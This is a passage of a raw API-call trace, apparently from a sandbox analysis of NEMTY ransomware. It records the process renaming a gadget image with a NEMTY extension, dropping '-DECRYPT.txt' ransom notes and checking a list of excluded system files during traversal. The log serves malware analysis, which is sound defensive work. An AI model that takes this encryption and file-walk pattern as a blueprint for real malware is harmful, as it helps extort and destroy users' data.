pszString="eDditHwNyjwjxSbPZ/tb5jCySRE+jgSnEmmQpnlqwbO3M6fZIil9W1rzSlhxCeeV\r\n6EPcyxWs2uD1n4eTJTB+0t2xP2eYPoRvLVC6mWTZqzNsSapfHjCBFFTvxoVpcy3i\r\nk3umaj7NL3UTQCdaX6F5huL8zf2cAXAGwJI8dbjVix9zu/gIyzENe6OSpCB/GGKz\r\n0AUj9TViNMwswgkA/lA6oNVf/ByiiU7ryWjS7dlU08+UTKzlqOwaRPKuWGFS2uVh\r\nuiUKJDBiS8mbpGVe9FHsGByn+4Nk1p/Jkk2yQjdzc50mWkfK6I3r3NgnzHUxJyTS\r\ndPsQsuiF61SNLgFpzTT5QQ==\r\n", pcchString=0x653ec5c) returned 1 [0126.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0126.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0126.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0126.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0126.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0126.920] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.921] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0126.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0126.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0126.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0126.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0126.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0126.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0126.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0126.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0126.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0126.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0126.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0126.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.967] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0126.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0126.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0126.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0126.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0126.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0126.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0127.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0127.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0127.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0127.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0127.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0127.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0127.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0127.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0127.027] CloseHandle (hObject=0xffffffff) returned 0 [0127.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0127.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0127.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\icon.png._nemty_kgobjgd_")) returned 0 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0127.027] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="images", cAlternateFileName="")) returned 1 [0127.027] lstrcmpiW (lpString1="images", lpString2=".") returned 1 [0127.027] lstrcmpiW (lpString1="images", lpString2="..") returned 1 [0127.027] lstrcmpiW (lpString1="images", lpString2="...") returned 1 [0127.027] lstrcmpiW (lpString1="images", lpString2="windows") returned -1 [0127.027] lstrcmpiW (lpString1="images", lpString2="$RECYCLE.BIN") returned 1 [0127.027] lstrcmpiW (lpString1="images", lpString2="rsa") returned -1 [0127.027] lstrcmpiW (lpString1="images", lpString2="NTDETECT.COM") returned -1 [0127.028] lstrcmpiW (lpString1="images", lpString2="ntldr") returned -1 [0127.028] lstrcmpiW (lpString1="images", lpString2="MSDOS.SYS") returned -1 [0127.028] lstrcmpiW (lpString1="images", lpString2="IO.SYS") returned -1 [0127.028] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0127.028] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0127.028] lstrcmpiW (lpString1="images", lpString2="AUTOEXEC.BAT") returned 1 [0127.028] lstrcmpiW (lpString1="images", lpString2="ntuser.dat") returned -1 [0127.028] lstrcmpiW (lpString1="images", lpString2="desktop.ini") returned 1 [0127.028] lstrcmpiW (lpString1="images", lpString2="CONFIG.SYS") returned 1 [0127.028] lstrcmpiW (lpString1="images", lpString2="RECYCLER") returned -1 [0127.028] lstrcmpiW (lpString1="images", lpString2="BOOTSECT.BAK") returned 1 [0127.028] lstrcmpiW (lpString1="images", lpString2="bootmgr") returned 1 [0127.028] lstrcmpiW (lpString1="images", lpString2="programdata") returned -1 [0127.028] lstrcmpiW (lpString1="images", lpString2="appdata") returned 1 [0127.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0127.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0127.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0127.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0127.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0127.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340048 [0127.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0127.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0127.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0127.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0127.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0127.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0127.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0127.029] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0127.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0127.031] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.031] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0127.032] CloseHandle (hObject=0x1ec) returned 1 [0127.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0127.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0127.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0127.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0127.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0127.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0127.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0127.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0127.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0127.033] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0127.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0127.033] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.033] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0127.034] CloseHandle (hObject=0x1ec) returned 1 [0127.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0127.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0127.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xff5ca150, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xff5ca150, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0127.034] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0127.035] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xff5ca150, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xff5ca150, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.035] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0127.035] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0127.035] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2=".") returned 1 [0127.035] lstrcmpiW (lpString1="activity16v.png", 